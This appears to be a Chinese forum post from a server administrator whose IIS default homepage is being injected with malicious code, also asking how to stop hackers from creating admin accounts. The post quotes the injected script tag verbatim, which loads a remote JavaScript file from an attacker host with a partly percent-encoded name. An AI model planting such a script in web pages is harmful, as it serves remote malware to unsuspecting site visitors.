服务器悲剧了！被黑得一套糊涂！求救啊！！！

1.只要打开时IIS对应的默认首页就会中毒，但源文件里面没有恶意代码，相同的页面，命个其他名字也没事情
打开域名后有这段代码：<script language=javascript src=http://f%6Br.A%74Her%53ite.c%6Fm/b.js?google=5x192></script>，但源文件里面没有。2.如何防止黑客创建管理角色账号？？？这东西困扰很久了！！！真闹心！！！！！